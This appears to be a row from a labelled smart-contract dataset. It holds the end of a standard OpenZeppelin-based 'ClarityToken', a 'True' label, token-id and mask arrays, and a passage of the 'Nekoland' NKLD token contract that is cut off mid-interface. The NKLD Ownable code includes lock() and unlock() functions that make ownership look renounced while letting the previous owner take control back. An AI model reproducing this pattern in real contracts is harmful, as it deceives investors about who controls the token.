owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoContracts.sol
/**
* @title Contracts that should not own Contracts
* @author Remco Bloemen <remco@2π.com>
* @dev Should contracts (anything Ownable) end up being owned by this contract, it allows the owner
* of this contract to reclaim ownership of the contracts.
*/
contract HasNoContracts is Ownable {
/**
* @dev Reclaim ownership of Ownable contracts
* @param contractAddr The address of the Ownable to be reclaimed.
*/
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be sent to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
constructor() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoTokens.sol
/**
* @title Contracts that should not own Tokens
* @author Remco Bloemen <remco@2π.com>
* @dev This blocks incoming ERC223 tokens to prevent accidental loss of tokens.
* Should tokens (any ERC20Basic compatible) end up in the contract, it allows the
* owner to reclaim the tokens.
*/
contract HasNoTokens is CanReclaimToken {
/**
* @dev Reject all ERC223 compatible tokens
* @param from_ address The address that is transferring the tokens
* @param value_ uint256 the amount of the specified token
* @param data_ Bytes The data passed from the caller.
*/
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
// File: openzeppelin-solidity/contracts/ownership/NoOwner.sol
/**
* @title Base contract for contracts that should not own things.
* @author Remco Bloemen <remco@2π.com>
* @dev Solves a class of errors where a contract accidentally becomes owner of Ether, Tokens or
* Owned contracts. See respective base contracts for details.
*/
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: contracts/ClarityToken.sol
contract ClarityToken is BurnableToken, NoOwner {
string public constant name = "Clarity Token"; // solium-disable-line uppercase
string public constant symbol = "CLRTY"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 240000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2603,
1025,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
7389,
23709,
11788,
1006,
4769,
25331,
3025,
12384,
2121,
1007,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
1996,
3206,
2000,
1037,
2047,
12384,
2121,
1012,
1008,
1030,
11498,
2213,
2047,
12384,
2121,
1996,
4769,
2000,
4651,
6095,
2000,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
2128,
4115,
15549,
4095,
2491,
1997,
1996,
3206,
1012,
1008,
1013,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
7389,
23709,
11788,
1006,
3954,
1007,
1025,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
6095,
1013,
8440,
24163,
3372,
22648,
3215,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
8311,
2008,
2323,
2025,
2219,
8311,
1008,
1030,
3166,
2128,
12458,
2080,
1038,
26846,
3549,
1026,
2128,
12458,
2080,
1030,
1016,
29731,
1012,
4012,
1028,
1008,
1030,
16475,
2323,
8311,
1006,
2505,
2219,
3085,
1007,
2203,
2039,
2108,
3079,
2011,
2023,
3206,
1010,
2009,
4473,
1996,
3954,
1008,
1997,
2023,
3206,
2000,
24104,
6095,
1997,
1996,
8311,
1012,
1008,
1013,
3206,
8440,
24163,
3372,
22648,
3215,
2003,
2219,
3085,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
24104,
6095,
1997,
2219,
3085,
8311,
1008,
1030,
11498,
2213,
3206,
4215,
13626,
1996,
4769,
1997,
1996,
2219,
3085,
2000,
2022,
23119,
1012,
1008,
1013,
3853,
24104,
8663,
6494,
6593,
1006,
4769,
3206,
4215,
13626,
1007,
6327,
2069,
12384,
2121,
1063,
2219,
3085,
3206,
7076,
2102,
1027,
2219,
3085,
1006,
3206,
4215,
13626,
1007,
1025,
3206,
7076,
2102,
1012,
4651,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// Telegram: https://t.me/nekolandportal
// website: https://nekoland.finance/
// Twitter: https://twitter.com/Nekolandnkld
// Nekoland is a symbiosis of cross-platform game and a social platform
// for earning NFTS and at first sight, it is an analog of a farm where
// users have to dive into the fantasy world of nekoland, inhabited by
// creatures resembling cats and more.
// Welcome a brand new play-2earn metaverse game- NEKOLAND! Play & monetize- create,
// build and enhance your gaming experience using platform utility token $NKLD.
// If you’re feeling like a diamond in a rough- you’re at the right place.
// We are happy to provide talented creators with a chance to join our family and
// contribute to the project! All the team will be reworded with a full ownership of their work as NFTs.
// Moreover, you’ll receive our utility token $NKLD as a bonus!.You can follow our updates on twitter @nekolandNKLD
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
